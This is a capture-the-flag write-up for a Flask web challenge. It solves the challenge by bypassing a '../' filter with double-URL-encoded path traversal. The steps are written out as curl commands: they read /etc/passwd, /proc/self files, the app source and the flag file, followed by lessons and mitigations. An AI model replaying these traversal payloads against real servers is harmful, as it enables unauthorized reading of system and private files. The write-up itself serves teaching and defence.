Writeup · SAF Pre-Qualifiers 2026

Touchline Dispatch

webunknownsolvedFlag: safctf{REDACTED}

Overview

The challenge exposes a Flask application with a “Desk console” UI and two documented endpoints: GET /api/library (lists documents) and GET /api/view?name=... (opens a document). The goal is to bypass the path-traversal filter on name and read the planted flag file.

Prerequisites / Setup

export TARGET="<challenge URL or IP>"

The traversal target is $TARGET/api/view?name=.... curl is sufficient; no wordlist or credentials are required.

Recon

Step 1 — Inspect the site and document endpoints

Goal: Confirm the /api/library and /api/view endpoints and their normal behavior.

curl "$TARGET/"

Revealed a “Desk console” UI and:

GET /api/library        -> lists documents
GET /api/view?name=...  -> opens a document
curl "$TARGET/api/library"
{"items":["schedule.txt","welcome.txt"]}

Reading a document normally:

curl "$TARGET/api/view?name=welcome.txt"
{"text":"Welcome to the club.\n"}

Enumeration

Step 2 — Confirm the path-traversal filter

Goal: Determine how the name parameter filters traversal attempts.

Basic traversal was blocked:

curl "$TARGET/api/view?name=../../../../etc/passwd"
curl "$TARGET/api/view?name=library/../../../../etc/passwd"
{"message":"Request unavailable."}

Single URL-encoding the slashes also failed:

curl "$TARGET/api/view?name=..%2f..%2f..%2f..%2fetc%2fpasswd"
{"message":"Request unavailable."}

Interpretation: The server decodes the query string once before applying its filter, which checks for the literal substring ../.

Vulnerability Analysis

The flaw class is Path Traversal (CWE-22) via a double-URL-encoding filter bypass.

The relevant application logic (kind == 'web-path'):

if op=='view':
   name=unquote(request.args.get('name','welcome.txt').replace('../',''))
   p=ROOT/'documents'/name
   return {'text':p.read_text()[:10000]}

The source also revealed where the flag is planted at startup:

if kind in ('web-path','web-render'):
  (ROOT/'private').mkdir(exist_ok=True)
  (ROOT/'private/reserve.txt').write_text(FLAG)

The flag lives at ROOT/private/reserve.txt, one directory above ROOT/documents/.

Exploitation

Step 3 — Bypass the filter with double URL encoding

Goal: Deliver a traversal sequence that survives the filter and resolves to ../.

curl "$TARGET/api/view?name=..%252f..%252f..%252f..%252fetc%252fpasswd"

Result: contents of /etc/passwd returned successfully — confirming arbitrary file read.

Step 4 — Read the application source

Goal: Confirm the file layout and locate the flag without blind guessing.

curl "$TARGET/api/view?name=..%252f..%252f..%252f..%252fproc%252fself%252fcmdline"
{"text":"python\u0000service.py\u0000"}
curl "$TARGET/api/view?name=..%252f..%252f..%252f..%252fproc%252fself%252fcwd%252fservice.py"

This dumped the full Flask application source, confirming service.py and the flag placement at ROOT/private/reserve.txt.

Step 5 — Retrieve the flag

Goal: Traverse one level above documents/ into private/ and read reserve.txt.

curl "$TARGET/api/view?name=..%252fprivate%252freserve.txt"
{ "text": "safctf{REDACTED}" }

Interpretation: The flag is read directly, completing the solve.

Flag

safctf{REDACTED}

Retrieved from ROOT/private/reserve.txt via double-URL-encoded path traversal on name.

Lessons / Takeaways

  • Blacklist-based sanitization (.replace('../','')) is trivially bypassed via encoding tricks; never rely on it for path traversal defence.
  • Canonicalize the resolved path (Path.resolve()) and verify it stays inside the intended base directory after all decoding is complete.
  • Reading /proc/self/cwd and /proc/self/cmdline through an LFI primitive removes guesswork about file layout and flag placement.

Mitigations

  • Use an allow-list of permitted documents rather than filtering traversal sequences.
  • Canonicalize the final path and enforce is_relative_to() / base-directory prefix checks after decoding.
  • Do not place sensitive files anywhere reachable via relative paths from a public-facing documents directory.

Techniques

References